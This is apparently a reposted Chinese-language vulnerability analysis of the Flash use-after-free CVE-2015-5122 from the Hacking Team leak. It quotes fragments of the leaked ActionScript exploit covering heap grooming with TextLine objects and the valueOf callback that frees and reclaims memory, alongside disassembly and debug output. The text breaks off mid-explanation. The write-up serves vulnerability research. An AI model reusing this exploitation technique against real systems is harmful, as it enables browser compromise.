Hacking Team攻擊程式碼分析Part 4: Flash 0day漏洞 CVE-2015-5122

wyzsk發表於2020-08-19
作者: 360安全衛士 · 2015/07/11 18:18

0x00 前言


前幾天我們分析了Hacking Team洩露資料中的3個exploit,包括一個flash 0day,一個flash nday和一個windows字型提權0day。昨天Adobe在釋出了最新的flash版本(18.0.0.203),修補了其中的flash 0day(CVE-2015-5119)。然而今天twitter上面又有研究者爆猛料,稱Hacking Team洩露資料中還有一個未修補的flash 0day,在最新的flash版本中仍然可以觸發。Adobe隨後也釋出了對應的安全公告APSA15-04,漏洞的CVE編號為:CVE-2015-5122。影響Windows、MacOSX和Linux平臺上的IE、Chrome瀏覽器等主流瀏覽器。

enter image description here

我們經過分析,確認這確實又是一個新的flash 0day,漏洞成因是DisplayObject在設定opaqueBackground屬性時,沒有正確處理可能發生的回撥(又是valueOf,是在下輸了),而產生的Use After Free漏洞。本文將分析這個漏洞的成因和利用方式。

0x01 漏洞原理分析


出問題的函式是DisplayObject物件的opaqueBackground屬性設定函式:

我們來看一下HackingTeam洩露的exploit程式碼,關鍵部分如下:

#!c++
1   for(i=_arLen1; i < _arLen2; i++)
2       _ar[i] = _tb.createTextLine(); // fill 1016-byte holes (0x38c is a size of internal TextLine object)
3       for(i=_arLen1; i < _arLen2; i++)
4           _ar[i].opaqueBackground = 1; // alloc 1016 bytes

在這個過程中會每個TextLine Object內部會分配0x390大小的物件,物件分配的程式碼在:

1   .text:1025DC71                 push    1
2   .text:1025DC73                 push    eax
3   .text:1025DC74                 push    390h
4   .text:1025DC79                 call    operator_new2

除錯過程中分配的0x390內部物件地址:

Allocate 0x390 object:04cbc810
Allocate 0x390 object:0513c810
Allocate 0x390 object:0513cc08
Allocate 0x390 object:05d94020
Allocate 0x390 object:05d94418
Allocate 0x390 object:05d94810
Allocate 0x390 object:05d94c08
Allocate 0x390 object:05d95020
Allocate 0x390 object:05d95418
Allocate 0x390 object:05d95810
Allocate 0x390 object:05d95c08
Allocate 0x390 object:05d96020
Allocate 0x390 object:05d96418
Allocate 0x390 object:05d96810
Allocate 0x390 object:05d96c08
Allocate 0x390 object:05d97020
Allocate 0x390 object:05d97418

2 設定opaqueBackground,觸發valueOf函式呼叫:

1   MyClass.prototype.valueOf = valueOf2;
2                    
3   // here we go, call the vulnerable setter
4   _cnt = _arLen2-6;
5   _ar[_cnt].opaqueBackground = _mc;

和之前兩個漏洞一樣,exploit定義了自己的類,設定valueOf函式,然後在opaqueBackground的設定函式中,我們可以看到有一個將傳入的引數轉換為integer的過程,這個呼叫觸發了MyClass的valueOf函式:

.text:1025DD4C loc_1025DD4C: CODE XREF: set_opaqueBackground+2Fj
.text:1025DD4C                 push    ebx
.text:1025DD4D                 push    [esp+10h+param]
.text:1025DD51                 call    [email protected]@avmplus@@[email protected] ; avmplus::AvmCore::integer(int)

3 在valueOf函式中,釋放TextLine Object,並使用vector佔位

#!c++
01  static function valueOf2()
02  {
03      try
04      {  
05          if (++_cnt < _arLen2) {
06              // recursive call for next TextLine
07              _ar[_cnt].opaqueBackground = _mc;
08          }else{
09              Log("MyClass.valueOf2()");
10               
11              // free internal objects
12              for(var i:int=1; i <= 5; i++)
13                  _tb.recreateTextLine(_ar[_arLen2-i]);
14               
15              // reuse freed memory
16              for(i=_arLen2; i < _arLen; i++)
17                  _ar[i].length = _vLen;
18          }
19      }
20      catch (e:Error)
21      {
22          Log("valueOf2 " + e.toString());
23      }
24      return _vLen+8;
25  }

我們可以看到valueOf函式透過呼叫recreateTextLine釋放了原來的TextLine物件(因此0x390大小的內部物件也將被釋放)。然後使用0x190大小的vector

相關文章